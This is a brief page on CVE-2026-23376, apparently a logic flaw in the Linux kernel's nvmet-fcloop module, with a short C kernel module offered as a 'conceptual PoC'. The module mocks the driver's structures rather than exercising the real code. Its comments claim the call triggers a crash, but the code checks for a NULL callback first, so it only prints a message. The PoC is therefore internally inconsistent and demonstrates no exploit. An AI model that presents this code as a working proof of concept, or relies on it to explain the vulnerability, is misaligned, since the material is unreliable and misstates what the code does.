CVE-2026-23376 Linux内核nvmet-fcloop逻辑错误漏洞

/* * Conceptual PoC for CVE-2026-23376 * This requires a system with the nvmet-fcloop module loaded. * The PoC simulates the condition where a Link Service request * is processed while the remote port is not in the ONLINE state. */ #include <linux/module.h> #include <linux/init.h> // Mocking the structure to demonstrate the logic flaw struct fcloop_lsrsp { void (*done)(struct fcloop_lsrsp *lsrsp); }; struct fcloop_remoteport { int port_state; }; #define FC_OBJSTATE_ONLINE 1 void vulnerable_function(struct fcloop_remoteport *remoteport, struct fcloop_lsrsp *lsrsp) { // Vulnerability: Missing check for remoteport->port_state before calling lsrsp->done // In the exploit scenario, port_state is not ONLINE, so lsrsp->done might be NULL/invalid. if (lsrsp->done) { printk(KERN_INFO "Calling done callback\n"); lsrsp->done(lsrsp); // This triggers the crash if state was wrong } else { printk(KERN_INFO "Done callback is NULL\n"); } } static int __init poc_init(void) { struct fcloop_remoteport rp; struct fcloop_lsrsp ls; // Setup scenario where port is NOT online rp.port_state = 0; // Not FC_OBJSTATE_ONLINE ls.done = NULL; // Callback not set by transport layer printk(KERN_INFO "CVE-2026-23376 PoC loaded\n"); // Trigger the vulnerable path vulnerable_function(&rp, &ls); return 0; } static void __exit poc_exit(void) { printk(KERN_INFO "CVE-2026-23376 PoC unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL");